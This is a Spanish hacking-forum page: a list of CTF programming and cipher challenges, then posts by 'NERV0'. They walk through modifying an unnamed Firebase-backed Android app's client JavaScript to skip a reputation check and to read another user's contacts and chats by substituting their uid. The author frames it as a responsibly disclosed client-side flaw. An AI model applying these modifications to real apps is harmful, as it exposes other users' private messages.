No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Russia - WIFI

Los vecinos de Calle Larga están preocupados porque la calidad de su conexión Wi-Fi ha empeorado considerablemente en los últimos años y debido a esto no pueden ver Game of Thrones tranquilamente.
Cada una de las casas en la calle posee un enrutador cuyas características determinan el alcance de su señal. La señal de cada enrutador corresponde a un círculo determinado por un radio r. Cuando dos señales se intersectan se produce interferencia lo que degrada considerablemente la conexión.
En la última reunión de la junta de vecinos, la comunidad determinó que la única solución para su problema era compartir la conexión a internet entre algunos vecinos para así poder prescindir de algunos enrutadores. Lamentablemente, la comisión encargada de poner el plan en marcha está teniendo problemas para evaluar qué enrutadores son mejores candidatos para ser mantenidos. Específicamente, dado un enrutador les gustaría determinar la cantidad de señales que este contiene completamente. Si la señal de un enrutador contiene completamente la señal de muchos enrutadores entonces este es un buen candidato para ser mantenido.
La entrada contiene una sola línea con enteros separados por un espacio en blanco. Los dos primeros enteros N y Q (0 ≤ N ≤ 2 × 10^5, 0 ≤ Q ≤ 5 × 10^4) corresponden respectivamente a la cantidad total de enrutadores y la cantidad de enrutadores por los cuales se hará una consulta. Cada uno de los siguientes N pares de números describe un enrutador. El par i-ésimo describe el enrutador i con dos enteros p y r (0 ≤ p ≤ 10^9, 0 < r ≤ 10^9) que representan respectivamente la posición del enrutador en la calle y el radio de alcance de su señal. No habrá dos enrutadores en la misma posición. Los siguientes Q enteros contienen la descripción de una consulta. Cada consulta está descrita con un entero i (1 ≤ q ≤ N) indicando que se desea determinar la cantidad de señales que están completamente contenidas en la señal del enrutador i.
Por cada consulta debe imprimirse un entero. Cada entero debe corresponder a la cantidad de señales que están contenidas completamente en la señal del enrutador de la consulta.

Se deberá ingresar la concatenación de todos los casos de prueba en orden, sin espacios.

Entrada
10 10 9106 137 5339 852 3726 3952 994 210 5304 1471 5990 3581 3266 4392 5290 439 9299 296 9437 479 7 6 8 1 6 7 7 3 7 6





capture_Kazakhstan - Giant Roulette

Las ruletas con mensaje son un complicado esfuerzo de criptógrafos amateur para transmitir mensajes de manera trabajosa y cuya efectividad es absolutamente dudosa.
Son ruletas divididas en una cantidad par de sectores y en las que cada sector contiene algún carácter ASCII. En la parte superior hay un marcador llamado ORDEN y en la parte INFERIOR hay un marcador llamado MENSAJE.
El protocolo determina que se lee comenzando en el sector marcado por ORDEN y en sentido horario todas las letras de la ruleta. Por ejemplo, en la siguiente posición inicial se puede leer la palabra BANANA
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego la ruleta comienza a girar y se irán mostrando sucesivamente las siguientes palabras:
BANANA
ANANAB
NANABA
ANABAN
NABANA
ABANAN

En el momento en el que la palabra leída desde la posición ORDEN es la mínima lexicográfica (la que aparecería primero en un diccionario), se podrá leer a partir de la posición MENSAJE un mensaje oculto de una longitud acordada previamente.

En el ejemplo anterior, el momento en que se muestra el mensaje es cuando desde ORDEN se lee la palabra ABANAN, como se muestra en la siguiente imagen.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Si la longitud acordada era 2, el mensaje oculto sería NA

Hemos descubierto una ruleta increíblemente grande. Contiene exactamente un millón de letras. Sabemos también que el mensaje cifrado que encontraremos allí tiene una longitud de 2976. El contenido de la ruleta en su estado inicial está dado en el archivo roulette.txt
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Podés ayudarnos a descubrirlo?

Aclaración: Para realizar la comparación "alfabética" de símbolos en el archivo deben utilizarse sus valores ASCII.





capture_China - Birdplane

El fin de semana pasado Melanie fue al campo y sacó muchas fotos naturales en blanco y negro de 64x64 píxeles. Cortó pedacitos de 1x4 píxeles y los permutó en cada foto usando la misma permutación. El problema es que se olvidó cuál era la permutación que había utilizado, ¡y ahora no puede saber qué había en cada imagen! ¿Podrás ayudarla a reordenar los bloques de píxeles y decirle en cuáles de las primeras 50 imágenes había un pájaro o un avión?

La respuesta es la concatenación de los números de las imágenes correctas, de menor a mayor, separados por espacios.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Japan - Moraleja: No implementar tu propia hash table

Una hash table es una estructura de datos que permite guardar elementos y acceder a ellos muy rápidamente utilizando una función de hashing, es decir, una función que para cada elemento posible devuelve un número dentro de un rango indicado.

Una de las formas más famosas de implementar una hash table se llama "hashing cerrado". Esta implementación guarda los datos en un arreglo de longitud K prefijado de antemano y al recibir un nuevo elemento E, lo hashea y lo coloca en la posición hash(E) (la función "hash" siempre devuelve un entero en el intervalo [0,K)). Si esa posición ya se encuentra ocupada, intenta guardarlo en la posición hash(E)+1. Si esa también está ocupada, intenta en la hash(E)+2 y así siguiendo, hasta llegar a la última posición del arreglo. Si aún así no encuentra espacio, vuelve a la posición 0 del arreglo y sigue el mismo proceso hasta encontrar una posición libre.

Juan programó su hash table utilizando hashing cerrado, y utilizó una función de hashing uniforme (o sea, que para cada elemento asigna un valor entero en el rango [0,K) con la misma probabilidad). Desafortunadamente, su implementación tiene un bug: si llega al final del arreglo y no encontró espacio para guardar el elemento, lo descarta directamente (es decir, no intenta colocarlo en las posiciones 0, 1, 2... como sería correcto).

Para testear la implementación de Juan, se seleccionaron N elementos al azar para insertarlos en una hash table implementada con un arreglo de longitud K. ¿Cuál es la probabilidad de que con este test descubramos que la implementación de Juan tiene un bug, si N = 27 y K = 42?

Deberá ingresarse la respuesta como fracción irreducible (ver ejemplo).

Ejemplo:

Si N = 2 y K = 2, los hashing posibles para los N = 2 elementos a insertar son:

0 0
0 1
1 0
1 1

El único caso en el que el bug se expondrá es si ambos hashes son 1. En este caso, primero se guarda el primer elemento en array[1]. Luego, el siguiente elemento no tiene espacio en array[1] y como es la última posición del arreglo, lo descartará. Por lo tanto, la respuesta para este caso será "1/4" (sin comillas)





capture_Malaysia - HRML Parser

Hemos definido nuestro propio lenguaje de marcado, HRML.
En HRML, cada elemento consta de una etiqueta de inicio y atributos asociados a ella. Para cerrar un elemento, hay 2 opciones: una etiqueta de cierre separada, o; la etiqueta de cierre con una sintaxis especial. Solo las etiquetas de inicio pueden tener atributos. Las etiquetas también pueden estar anidadas.
Las etiquetas de apertura siguen el formato:
<tag-name attribute1-name="value1" attribute2-name="value2" ... >


Las etiquetas de cierre siguen el formato:
En la línea
<tag-name attribute1-name="value1" ... />


Etiqueta separada:
</tag-name>
Podemos llamar a un atributo haciendo referencia a la etiqueta, seguida del símbolo '~' y el nombre del atributo. Para atravesar etiquetas anidadas usamos el carácter '." entre las etiquetas.
Por ejemplo:
<tag1 value="HelloWorld">
  <tag2 desc="Description1" />
  <tag3 name="Name2">
    <tag4 quantity="12" />
  </tag3>
</tag1>


Los atributos se referencian como:
tag1~value
tag1.tag2~desc
tag1.tag3~name
tag1.tag3.tag4~quantity


Recibes un conjunto ordenado de archivos. Se te proporciona un código fuente válido en formato HRML que consta de N líneas. Tienes que responder Q consultas asociadas a cada código fuente. Cada consulta te pide que imprimas el valor del atributo especificado en una nueva línea separada. Imprimir "¡No encontrado!" si no existe dicho atributo.
La respuesta que le permitirá continuar con la competencia será el hash SHA-256 (en mayúsculas) de un archivo que contiene todos los valores obtenidos como resultado de las consultas (respecto del pedido), un valor por línea, sin líneas en blanco (excepto una última nueva línea vacía que debe estar presente). Use solo LF (0x0A) como nueva línea.
Formato de entrada de cada archivo
La primera línea consta de dos enteros separados por espacio, N y Q. Las siguientes N líneas del código fuente de HRML válido y cada línea constan de una etiqueta de apertura con cero o más atributos, o una etiqueta de cierre. Luego, las siguientes líneas Q contienen las consultas. Cada consulta consiste en una string que hace referencia a un atributo en el código fuente HRML.
Restricciones
N> = 1
N> = 1
Todos los nombres de etiquetas son únicos.
Sample Input for one file
4 3
<tag1 value = "HelloWorld">
  <tag2 name = "Name1">
  </tag2>
</tag1>
tag1.tag2~name
tag1~name
tag1~value


Sample Output for one file
Name1
Not Found!
HelloWorld


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Australia - PyParser

Hemos definido nuestro propio lenguaje de marcado, HRML. En HRML, cada elemento consta de una etiqueta de inicio y cierre, y hay atributos asociados con cada etiqueta. Solo las etiquetas de inicio pueden tener atributos. Podemos llamar a un atributo haciendo referencia a la etiqueta, seguida del símbolo '~' y el nombre del atributo. Las etiquetas también pueden estar anidadas.
Las etiquetas de apertura siguen el formato:
<tag-name attribute1-name = "value1" attribute2-name = "value2" ... >
Las etiquetas    de cierre siguen el formato:
< /tag-name >

Por ejemplo:
<tag1 value = "HelloWorld">
<tag2 name = "Name1">
</tag2>
</tag1>

Los atributos se referencian como:
tag1~value 
tag1.tag2~name

Se te proporciona un archivo con un código fuente válido en formato HRML que consta de N líneas. Tienes que responder Q consultas. Cada consulta te pide que imprimas el valor del atributo especificado. Imprimir "¡No encontrado!" si no existe dicho atributo (el resultado de las Q consultas debe ser escrito a un archivo txt en una única línea).

ARCHIVO: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Formato de entrada
La primera línea consta de dos enteros separados por espacio, N y Q. Las siguientes N líneas del código fuente de HRML válido y cada línea constan de una etiqueta de apertura con cero o más atributos, o una etiqueta de cierre. Luego, las siguientes líneas Q contienen las consultas. Cada consulta consiste en una string que hace referencia a un atributo en el código fuente HRML.

Restricciones
1 <= N <= 20
1 <= Q <= 20
Cada línea en el código fuente HRML contiene un máximo de 200 caracteres.
Cada referencia a los atributos en las consultas Q contiene un máximo de 200 caracteres.
Todos los nombres de etiquetas son únicos.

Formato de salida
Imprimir el valor del atributo para cada consulta. Imprimir "¡No encontrado!" sin comillas si no existe dicho atributo en el código fuente HRML.

Entrada de ejemplo:
4 3
<tag1 value = "HelloWorld">
<tag2 name = "Name1">
</tag2>
</tag1>
tag1.tag2~name
tag1 ~ nombre
tag1~value

Salida de ejemplo
Name1 ¡No encontrado! HelloWorld





capture_India - Substring Calculator

Dada una cadena de caracteres, s, podemos definir una sub cadena de caracteres como una cadena de caracteres no vacía que puede ser obtenida aplicando una de las siguientes operaciones

Quitar cero o más caracteres del lado izquierdo de s.
Quitar cero o más caracteres del lado derecho de s.
Quitar cero o más caracteres del lado izquierdo de s. y quitar cero o más caracteres del lado derecho de s.

Por ejemplo, si s=abcde, las subcadenas son:
1   abcde
2   abcd
3   bcde
4   abc
5   bcd
6   cde
7   ab
8   bc
9   cd
10   de
11   a
12   b
13   c
14   d
15   e


Tu tarea es determinar cuántas subcadenas se pueden obtener a partir de aplicar las operaciones descritas anteriormente sobre una cadena s.

La entrada contiene una sola línea que representa la cadena de caracteres a analizar.

Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La salida consiste de un número entero con el total de sub cadenas que se pueden obtener.

Restricciones
s contiene caracteres en el rango ascii[a-z].
0 ≤ |s| ≤ 10^5





capture_Iran - Gotta Catch 'Em All!

En una cueva oscura de la ciudad de Pueblo Paleta fue hallada una escritura muy antigua. Ningún profesor logró descifrar lo que significa, pero se rumorea que contiene la clave para atrapar a todos los pokemones legendarios. ¿Podés ayudarlos a descubrir lo que significa el mensaje?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Egypt - ENIGMA

lospa ramet rospa rares olver son:
R1 = VIII / Pos = 1 / Ring = 1
R2 = I / Pos = 17 / Ring = 2
R3 = III / Pos = 12 / Ring = 3
uqhsw gmxfq ogous cmgst juner zdmcu tlgpk agzqp sixbn
lkjok wkvzh tnlpc zwqmw pmrsv lcxnz zuibw hkeqd nouzd
hlori anhvy mysqu obqip ixqwe yubik aqtxn lgwmj lwcju
wzabx mpyqw nbuom szjnl scplz qcmdd mntbe cgrzm ihczj
vtkwy axsig alomk ghfkm xrcgh cpbyt wkybh atrqi dfsv





capture_Niger - Mensaje Chino

Encontramos este mensaje en Chino, pero sospechamos un poco de su veracidad, nos ayudarías a entender qué dice?
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Kenya - MEDAL

Una caja que contiene N medallas fue encontrada en una excavación. Cada medalla está compuesta por diversas piedras y cada piedra está representada por una letra minúscula de la 'a' a 'z. Una piedra puede estar presente varias veces en una medalla y una piedra pasa a ser llamada especial si está presente al menos una vez en cada medalla
Dada una lista de N de medallas con sus piedras, muestra el cuadrado de la cantidad de piedras especiales que se repiten más de dos veces en una medalla.
Entrada
La primera línea consiste de N,el número de medallas. Cada una de las proximas N líneas contienen una secuencia de letras minúsculas con las piedras de cada medalla
5 abcdefgggghijlmmmnopppqqqqrrr abcdefggghijlmmnopppqqqqrrr abcdefggggghijlmmmnopppqqqqrrr abcdefggggghijlmmmnopppqqqqrrr abcdefggggghijlmmmnopppqqqqrrr





capture_Angola - Lego Blocks

Tienes 4 tipos de bloques Lego™, de tamaños (1 x 1 x 1), (1 x 1 x 2), (1 x 1 x 3) y (1 x 1 x 4). Suponé que tienes un número infinito de bloques de cada tipo. Para abreviar, podemos llamar a estos tipos, respectivamente, bloque 1, bloque 2, bloque 3 y bloque 4, o incluso (1), (2), (3) y (4).

Usando estos bloques, deseas hacer una pared de altura N y ancho M. La pared debe ser una estructura sólida continua sin agujeros. La pared debe estar conectada estructuralmente, por lo que no debe existir una vertical recta que permita que la pared se separe en dos sin cortar uno o más ladrillos.

Input (entrada):

La primera línea contiene el número de casos de prueba T. Siguen los casos de prueba T. Cada caso contiene dos enteros, N y M.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Output (salida):

Una sola línea que contiene la cantidad de formas de construir el muro.
Como los números pueden ser muy grandes, puedes aplicar modulo 1.000.000.007 a la salida.

Restricciones:
1 ≤ T ≤ 100
1 ≤ N,M ≤ 1000

Sample Input:
4
2 2
3 2
2 3
4 4

Sample Output:
3793375






capture_South Africa - GHOST AUDIO

El siguiente audio tiene la respuesta que buscás.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




capture_Algeria - Unbiased Coin

Ana y Beto van a jugar a un juego de azar. Los dos comparten una moneda balanceada y van a jugar por turnos: primero Ana e inmediatamente después Beto. En el turno de Ana, ella tira una moneda: si cae cara, gana un punto; si cae ceca, no gana nada. Beto es más innovador y en su turno primero elige cuántas veces va a tirar la moneda: si elige tirar K veces y salen todas cara, gana 2^{K-1} puntos; caso contrario, no gana ningún punto. El ganador será el que primero logre llegar a 1000 puntos.

Como Beto es un gran matemático, él elige la cantidad K de tiros de la moneda que maximiza su probabilidad de ganar. ¿Cuál es la probabilidad de que gane Beto?

La respuesta deberá ser redondeada a 8 lugares después de la coma. Por ejemplo, si el resultado fuera 0,123456789, deberá ingresarse 0,12345679. Si fuera 0,123, deberá ingresarse 0,12300000.


#7
Apa la papa, muy bien explicado! Me gustó mucho  ;)

Saludos, NERV0
#8
Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Prometo una 3ra parte mucho mejor que la anterior y esta!

Un saludo y buena semana, NERV0.
#9
Espectacular! Muy bien explicado y detallado. Me encantó, felicitaciones!

Saludos y buena semana, NERV0.
#10
Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Espero para la próxima poder hacer algunos gifs y explicar un montón de cosas en detalle, para así dar un cierre al tema y no desviarme. (Ya que esto no es una demostración de hacking, sinó de vulnerabilidades).

Slaudos y buena semana, NERV0.
#11



Si es el primer post que lees de "No le des poder al cliente", te invito a ver la primera parte clickeando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Antes de empezar, quería comentarles un detalle que se me pasó:

Al editar los archivos de la plataforma en la aplicación de Cordova, deben acordarse de editarlos en la carpeta "www" principal. Sinó, cuando vuelvan a ejecutar la plataforma, se van a cargar nuevamente los archivos sin tocar. Esto significa que por cada modificación que hagan, deben cerrar el servidor interno y volver a iniciarlo para que se carguen las modificaciones.





En el anterior post, como han visto, la cuenta de prueba fue baneada y "liberada" abusandonós del código del cliente, para así seguir utilizandola (Algo así como un bypass al cliente estando baneados en el servidor). En este post, vamos a ver que podemos hacer con el sector de compras y contactos.



I - Compras limitadas:

Esta vez, vamos a abusarnos de algo un poco mas interesante... ¿Como funciona el sistema de chat? ¿Y los contactos? Vamos a probarlo con dos cuentas, "TestU1" y "TestU2", ambas son cuentas nuevas y se van a agregar como contactos, pero con las siguientes características:


  • Ambas cuentas no tienen foto de perfil.

  • "TestU1" tiene una descripción que dice: "Soy una cuenta de test U1". Y "TestU2" dice: "Soy una cuenta de test U2".




¿Vamos a iniciar un chat entre ambos contactos?

Para poder comprar el item especial para elegir al usuario al que me quiero dirigir, necesito tener una reputación de 50, la cual no tengo... ¿Editamos?


(Como se puede apreciar en la imagen, no nos deja comprar el item por falta de reputación)



¿Buscamos el item o algún elemento mas en concreto?

Buscar el cartel, es una opción, pero podría tomarnos un poco mas de tiempo. ¿y si buscamos la imagen del "vendedor" de items?


Y efectivamente, después de buscar con paciencia, encontramos lo que queríamos en el archivo "15.js":

(Como se puede apreciar, solo se muestra el fragmento de código que nos interesa modificar)

Código: javascript

l.prototype.showBuyItem = function(l) {
                    var n = this;
                    if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) { //Si el objeto se puede comprar multiples veces
                        if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3); //Si mi reputación es mas baja de la que requiere el objeto, me muestra el cartel de que no tengo la reputación suficiente para comprarlo
                        else if (void 0 == l.cost) { //De lo contrario, lo compra!
                            var e = this.modalCtrl.create("BuyitemPage", {
                                item: l
                            }, {
                                cssClass: "smallModal"
                            });
                            e.present(), e.onDidDismiss(function(l) {
                                "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
                                    n.goSlider(2)
                                }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
                            })
                        }
                    } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
                }

(El fragmento de código se encuentra obviamente censurado, pero sin haberle quitado su funcionamiento)



Así que si editamos el código, basandonós en los datos anteriores, deberíamos comprar objetos aunque nuestra reputación sea baja:

Código: javascript

l.prototype.showBuyItem = function(l) {
                    var n = this;
                    if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) {
                        /*if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3);
                        else*/ if (void 0 == l.cost) {
                            var e = this.modalCtrl.create("BuyitemPage", {
                                item: l
                            }, {
                                cssClass: "smallModal"
                            });
                            e.present(), e.onDidDismiss(function(l) {
                                "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
                                    n.goSlider(2)
                                }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
                            })
                        }
                    } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
                }




Y listo, ya compramos el objeto que queríamos:





Buscamos al otro usuario (Prueba de funcionamiento):





Y efectivamente, el objeto funciona. Iniciamos un chat con el otro usuario de prueba para ver si todo está correcto:



Y todo es correcto! Ya estamos preparados para comenzar con la parte interesante...







II - Contactos de los otros usuarios y mensajes falsos:



¿Como funciona el sistema de contactos? Sería muy interesante echarle un ojo al código... Busquemos la palabra clave en los "js":





Encontramos algo interesante en el archivo "2.js" el mismo que editamos en el post anterior:


Código: javascript

e.prototype.checkFriendsPhoto = function() { //Chequear foto de perfil de los amigos
                if (!this.isCheckedFriendsPhoto) { //Si no se chequeó la foto
                    this.isCheckedFriendsPhoto = !0;//¿Decimos que se chequea ahora?
                    for (var e = 0; e < this.myContacts.length; e++){ //Por el largo de la cantidad de contactos, uno por uno voy
                        void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo), //Actualizando la foto de perfil buscandolá por el uid del contacto
                    }
                }


Aparece por primera vez, la lista de contactos! Que está en una base de datos, obviamente... Así que, que tal si ¿obtenemos los "uid" (User ID) de nuestros usuarios?:

Código: javascript

e.prototype.checkFriendsPhoto = function() {
                if (!this.isCheckedFriendsPhoto) {
                    this.isCheckedFriendsPhoto = !0;
                    for (var e = 0; e < this.myContacts.length; e++){
                        void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
                        alert(this.myContacts[e].uid) //Mostramos el "uid" con un simple alert por cada amigo que tenemos...
                    }
                }



Ahora, sabemos que el uid de la cuenta "TestU2"! Pero si vamos mas abajo del código, también hay una linea que nos habla de nuestro id:

Código: javascript

e.prototype.resetUserPhoto = function(e, n) {
                ee.database().ref("users/" + this.myUid + "/contacts/" + e).update({
                    photo: ""
                })


Asi que, volvemos a editar la función "checkFriendsPhoto" y al final de todo, antes de que termine la función, agregamos lo siguiente:

Código: javascript

alert(this.myUid),


Como resultado, esto nos va a mostrar primero el "User ID" del contacto, y al final, el nuestro:





Ahora que sabemos los User ID, ¿que bellas atrocidades podemos hacer en la APP? ¿Podríamos ver los usuarios que tiene agregado el otro usuario? Según este fragmento de código, creo que es probable:



Código: javascript

n = this;
var t = this.db.list("/users/" + this.myUid + "/contacts", function(n)
                    return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
                }).valueChanges();
                this.myContactsWatcher = t.subscribe(function(t) {
                    n.isLoadedFriends = !0, null != t ? (n.zone.run(function() {
                        n.myContacts = t.reverse()
                    }), n.checkFriendsPhoto(), n.loadMongoFavorite()) : n.myContacts = [], n.myContacts.length >= e.limitFriendsDisplay && n.zone.run(function() {
                        n.canLoadMoreContact = !0
                    })
                });


Vamos a tener que usar un 3er usuario, así que, entra en juego un TestU3, que se ahora es amigo de TestU2:



¿Probamos lo que teníamos pensando? El código modificado lo cargamos desde TestU1, que es quien quiere ver los usuarios de TestU2:


  • Anotamos los ID:
        - TestU1: myUid (No es necesario)
        - TestU2: uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2
        - TestU3: PEHTHBPlINOPSDyhUSr7ITvASaT2


  • Modificamos el código:

Código: javascript


/*
El código actual no es multiuso, solo está diseñado para ser utilizado como ejemplo...
Se puede mejorar, obviamente, pero el código es meramente simple y tosco para que
puedan observar sin complicaciones el funcionamiento ;)
*/

n = this;
var TestU2 = "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2";

if (myUid == "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2"){
    var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {
        return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
        }).valueChanges();
} else {
    var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {
       return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
       }).valueChanges();
}


Y funcionó:



¿Podremos mandar mensajes? Si, pero no funciona de manera ideal... Bueno, algo es algo ¿no? Lo importante es que podemos acceder a los contactos del otro usuario y tener completo acceso a sus mensajes!





III - ¿Que pasó?


Lo que sucedió, en los pasos previos, fue que en el código, cargabamos los contactos, a partir de un "uid". Este "uid" es el "nombre" de usuario que nosotros y los demás tienen en el servidor. Este nombre de usuario tiene una carpeta propia y en una sub, los contactos agregados:


Código: javascript
var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {



El problema es que nosotros en vez de cargar nuestro uid al momento de ver los contactos en el chat, cargamos el uid del usuario al cual queremos "hackear":

Código: javascript
var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {



Y como resultado, podemos ver los contactos de la otra persona, y por consecuencia, también sus chats. (Aunque no deberíamos ver los chats, sucede por algún bug)


El problema inicial, que lleva a la confusión es que no podíamos obtener los "uid" directamente, sinó que debíamos extraerlos de un código que los exponga facilmente:

Código: javascript
void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
alert(this.myContacts[e].uid)


Código: javascript
/*void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(*/this.myContacts[e].uid/*, this.myContacts[e].photo),*/
alert(this.myContacts[e].uid)


Y a manopla los ibamos anotando para cargarlos...



Podríamos mejorar editando aún mas el código y mostrando un caso real con un usuario real, pero como mi propósito es demostrar lo que puede suceder, no nos vamos a adentrar.




Como pueden ver, al igual que el anterior post, nos encontramos "servido en bandeja" el código de la aplicación, (en donde por culpa de haber dejado el mecanismo del lado del cliente), con un poco de conocimiento, paciencia y curiosidad, podemos destrozar el trabajo arduo de los que hicieron la aplicación. Saquen sus propias conclusiones y los espero en la parte 3.



Saludos, y les deseo una buena semana... NERV0
#12
Hacking / Re:MobSF (Mobile Security Framework)
Junio 04, 2018, 07:34:04 PM
Está genial la herramienta, ya me la bajo! Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta !

Saludos, NERV0
#13
Gracias, @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! "deben existir muchas con el mismo problema" y es verdad. No si se debe a la credulidad en que los usuarios son "tontos" o por simple falta de conocimiento. Pero si, se debe trabajar mas desde el lado del servidor, sinó se le da al usuario todo en bandeja!

Gracias, @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ! Me pone muy contento que te haya gustado el post. Para mi, sin la curiosidad no sabríamos los "por qués" del universo. Se que en algunas partes el lenguaje no fue el adecuado, prometo pasar para la próxima de coloquial a técnico  :) ! Gracias de nuevo por el +1, me pone muy contento saber que mi aporte es un buen material para la comunidad.

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por tomarte el tiempo de hablar sobre el impacto económico y sobre los terminos y condiciones para que un error a abusar en el código se convierta en un "exploit".

  • Aunque para mi, no es una vulnerabilidad del servidor, es una vulnerabilidad en el cliente, lo que lleva a convertirlo en un exploit aunque sea del tamaño de un alfiler. Calculo que cuando veas la parte 2, vas a verlo de otra manera "[...] Quizás eso se exceptue en tu segunda parte. [...]"

  • Cuando uno acepta los terminos y condiciones (TyC) de una aplicación (ya sea los mismos TyC de Google, que nadie lee), dice claramente que en el caso que sea necesario se extraerá información privada del usuario. Obviamente esta aplicación en sus TyC, al momento de romper las reglas, extrae esos datos privados que mencioné anteriormente.






Un saludo enorme a los tres, y los espero en la parte 2 ! NERV0
#14

Hace una semana, me encontré con una aplicación para Android (La cual no mencionaré y evitaré mostrar el logo de la misma) que tiene una idea muy buena y sinceramente me gustó... Pero, como siempre pica el gusanito de la curiosidad, me tenté a ver si podía jugar con poquito con el código.

Y así empieza este hermoso post de "No le des poder al cliente (Parte 1)", por
NERV0.

ANTES QUE NADA SE DEBE ACLARAR QUE EN NINGÚN MOMENTO PERJUDIQUÉ A LOS DEMÁS USUARIOS NI A LOS ADMINISTRADORES. Y DE LA MISMA BUENA INTENCIÓN, SE LES HA ENVIADO TODOS LOS EXPLOITS QUE SE ENCONTRARON A LO LARGO DE LA INVESTIGACIÓN.



I - Etapa de adaptación y reconocimento:

Apenas instalé la aplicación, apareció el logo de carga, y noté que estaba desplazado un poco mas hacia la derecha (Si, aunque suene a chiste). Cuando vi esto dije: "Si el logo de carga está desplazado, entonces la aplicación debe estar... Chingada" (Por decirlo de una manera). Me sorprendió que era mejor de lo que me esperaba.

